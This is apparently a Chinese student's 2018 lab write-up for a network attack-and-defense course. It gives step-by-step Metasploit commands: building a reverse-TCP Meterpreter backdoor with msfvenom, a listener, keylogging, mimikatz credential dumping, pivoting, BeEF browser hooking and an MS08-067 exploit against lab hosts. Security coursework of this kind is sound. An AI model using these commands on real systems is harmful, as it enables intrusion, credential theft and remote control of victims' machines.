2017-2018-2 20179205 《网络攻防技术与实践》第七周作业

《网络攻防技术与实践》第七周学习总结

视频学习总结

一、漏洞利用之检索与利用

漏洞利用工具集

1.Exploit Database->searchsploit

2.pattern create

测试漏洞

armitage

结合MSF进行利用

3.jboss-autopwn-linux->win

专门针对Jboss的漏洞利用工具

4.ikat

自动化开启,等待目标访问中招。

5.termineter

评估智能电表的安全性。

二、漏洞利用之Metasploit基础

Metasploit在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。他们或许在渗透测试中的每一方面都不能成为最好用的工具,但组合起来的框架却让它变得很强大。

1.启动服务

Kali漏洞工具集中的重要组成工具,需要先开启两个PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录。

service postgresql start 
service metasploit start

启动时发现显示错误,上网查找原因发现是这个版本已经没有metasploit服务了:

需要利用以下方法打开带数据库支持的MSF服务:

etc/init.d/postgresql start 或者 service postgresql start  //启动postgresql数据库
msfdb init //初始化MSF数据库
msfconsole
db_status  //在msf中可以查看数据库连接状态

如果不想每次开机都手工启动服务,配置随系统启动

update-rc.d postgresql enable
update-rc.d metasploit enable

2.路径介绍

msf的路径cd /usr/share/metasploit-framework/
msfencode -l 未找到命令

Auxiliary: 辅助模块

encoders: 供msfencode编码工具使用,具体可以使用msfencode -1

exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就是这个目录。

payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。

post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里。

3.基本命令

msfpayload:用来生成payload或者shellcode
搜索时候可以用msfpayload -l |grep “windows”这样的命令来查询
-o选项可以列出payload所需的参数
msfencode:msf中的编码器,早期为了编码绕过AV现在常用msfpayload与它编码避免exploit的坏字符串。使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
msfconsole:
开启metasploit的console

4.测试示例:发现漏洞,搜索exploit

以SSH用户名枚举攻击对metasploit工具进行测试,利用winxpserver靶机,IP地址为192.168.92.148,然后通过nmap对靶机所开放的端口服务版本进行探测:

扫描得知,目标21端口vsftpd版本为5.0,使用msfconsole打开的msf中使用命令search vsftpd,查看是否存在相应的漏洞利用exploit:

5.测试示例:选择exploit,查看参数。

选择上图标记出的工具,进行ssh用户名枚举,接着利用命令 use使用该工具,选择exploit,查看参数:

6.测试示例:选择payload

Required显示yes,表示需要被设置,设置好远程IP地址:

7.测试示例:设置参数

使用set命令设置参数,说明已经参数已经被设置好。

8.测试示例:执行攻击测试

输入exploit即可进行攻击测试,如果成功,将返回一个shell,出现绿色的UID,说明攻击比较成功。这时可以查看靶机的IP,cat到一些信息。

三、漏洞检测之Meterpreter

  Meterpreter是Metasploit框架中的一个拓展模块,作为溢出成功后的攻击载荷使用。攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。

  Meterpreter作为后渗透模块有很多类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。

常用的命令:

background 将当前会话放置后台

load/use 加载模块

interact 切换进一个信道

migrate 迁移进程

run 执行一个已有的模块

Resource 执行一个已有的rc脚本常用的meterpreter类型:

payload windows/meterpreter/reverse_tcp

1.生成meterpreter后门:

使用命令:msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.92.150 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe

发现设置成功后仍无法显示,因为新版本的kali下msfpayload已经被移除了。以后只要使用msfvenom就行了,它集成了msfpayload和msfencode的功能:

所以生成meterpreter后门的命令等同为:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.150 LPORT=2333 -i 5 -f exe /root/door.exe

生成成功,将其移入XP系统中:

2.打开MSF,开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LPORT 2333

修改监听端口:

3.在目标主机上执行door.exe

在kali的msf中执行exploit开始监听:

4.通过help命令查看可执行命令:

5.常见命令使用

6.捕获屏幕,可以看到捕获结果保存在root下

7.键盘监听

开启服务:keyscan_dump
关闭服务:keyscan_stop

8.扩展工具:load

9.扩展工具之load mimikatz

抓取本地密码明文:

发现多了一个mimikatz command:

获取凭据,输入命令:wdigest

四、漏洞检测之Metasploit后渗透测试

  在跳板机获取一定权限后,需要积极的向内网主机权限发展,获取制定的目标信息,探查系统的漏洞,借助系统的漏洞,借助Msf已经得到的meterpreter后门,可以使系列的操作更容易。

1.查看跳板机的网卡

ifconfig

2.添加路由表

run autoroute -s 10.0.0.1

这是在Metasploit最常用的方法,在添加路由表和session的关系后,便可以使用msf中的模块跨网段扫描或攻击。

3.开socks代理

通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,Sqlmap,Nmap等使用。

background 把session置于后台
search socks  使用socks开代理
use auxiliary/server/socks4a
showoptions
exploit

4.通过background和sessions -i可以自由切换进入session

5.输入run可以看到在meterpreter上可以做的很多命令

6.通过run post/可以看到后渗透测试的模块

7.扫描内网信息

run arp_scanner -r 目标IP地址<br>
内网端口转发<br>
upload lcx.exe c:\ 上传到C盘根目录<br>

8.也可以上传文件,做端口转发后进行后续测试

五、漏洞检测之BeeF

对XSS漏洞的利用需要一个强大的框架支持,BeeF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透工具。

1.命令行下启动BeeF

直接使用命令 beef-xss即可,打开浏览器,会自动跳转至beef登录页面:

默认用户名:beef
密码:beef

即可进入主界面:

2.假设被测试主机由于XSS漏洞请求到

测试利用:输入网址http://127.0.0.1:3000/demos/basic.html,可以进入一个测试页面:

这样在主界面左端就可以看到一个在线主机:

3.HOOK持续的时间为关闭测试页面为止,在此期间相当于被控制了,可以发送攻击命令,在Commands模块我们可以完成很多任务。

其中。4中颜色分别表示:

该攻击模块可用,且隐蔽性强

该攻击模块可用,但隐蔽性差

该用户模块是否可用还有待验证

该攻击模块不可用

4.选取MISC下的Raw JavaScript模块为测试用例

有段表格有该模块的详细说明,以及一些可选的参数等。随意输入good morning,点击Excute进行攻击:

执行后在目标网页可以看到如下效果图:

5.Proxy功能

选中目标主机,点右键,在菜单中选中use as proxy,然后在rider选项卡中的forge request 编辑并发送想要发送的内容:

信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:

6.BeeF与Metasploit结合加载

BeeF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置:

修改文件config.yaml

打开一个msfconsole

可以看到Metasploit下面多了很多可以使用的模块。

修改 /usr/share/beef-xss/config.yaml中的Metasploit一行为true:

保证此处IP等信息设置正确,并修改custom路径:

配置好后,打开msfconsole,运行命令:

load msgrpc ServerHost=192.168.92.150 Pass=abc123

输入路径cd /usr/share/beef-xss/
,执行./beef -x命令

重启beef发现已经加载了很多Metasploit的攻击模块:

教材第七章 Windows操作系统安全攻防 学习总结

一、Windows操作系统基本框架

1、windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。

2、核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。

3、网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层).

二、Windows操作系统的安全体系结构和机制

1、监控器模型:主体到客体的访问都通过监控器作中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。

2、核心:SRM安全引用监控(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog

3、身份认证机制:安全主体:用户、用户组、计算机 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)

4、授权与访问控制机制:对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。

5、安全审计机制

6、其他安全机制:安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。

三、Windows远程安全攻防技术

1、包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。

2、远程口令猜解攻击: 远程口令猜解:SMB协议(tcp445、tcp139),其他包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。

3远程口令猜解的防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。

4、网络服务远程渗透攻击:针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。
5.网络服务远程渗透防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。

四、Windows本地安全攻防技术

1、本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。

2、敏感信息窃取: windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文) windows系统口令字破解技术、用户敏感数据窃取:find、findstr、grep、meterpreter

3.本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。

五、Windows攻击实验

实验描述:

使用Metaspoit攻击MS08-067,提交正确得到远程shell过程的截图(不少于五张)。

MS08-067漏洞介绍

  MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

实验工具

本次实验使用的攻击机是kali,靶机是Win2kServer

攻击机:192.168.92.147
靶机:192.168.92.148

实验步骤:

1.首先攻击机和靶机互ping,在kali终端开启msfconsole

2.查找是否存在ms08_067漏洞,查看返回信息,会显示出找到的渗透模块

3.输入命令use exploit/windows/smb/ms08_067_netapi,进入利用该漏洞模块。接下来可输入一些命令来显示一些信息,如:

输入show payloads会显示出有效的攻击载荷,比如shell_reverse_tcp

使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷

输入show targets会显示出可以被攻击的靶机的操作系统型号

4.输入show options显示我们需要在攻击前需要设置的数据

5.设置攻击机和靶机地址,并使用命令show options再次查看payload状态

输入命令set LHOST + 攻击机IP,即set LHOST 192.168.92.147;
输入命令set RHOST + 靶机IP,即set RHOST 192.168.92.148;

6.输入命令exploit开始攻击,下图为正常攻击成功结果

7.在攻击机和靶机中分别查看IP地址,输入ipconfig/all,发现结果一致

8.输入“netstat -a”命令,可以查看靶机开启了哪些端口

9.输入“netstat -n”命令, 查看靶机端口的网络连接情况

posted @ 2018-04-22 12:20  20179205王雅哲  阅读(305)  评论(0编辑  收藏  举报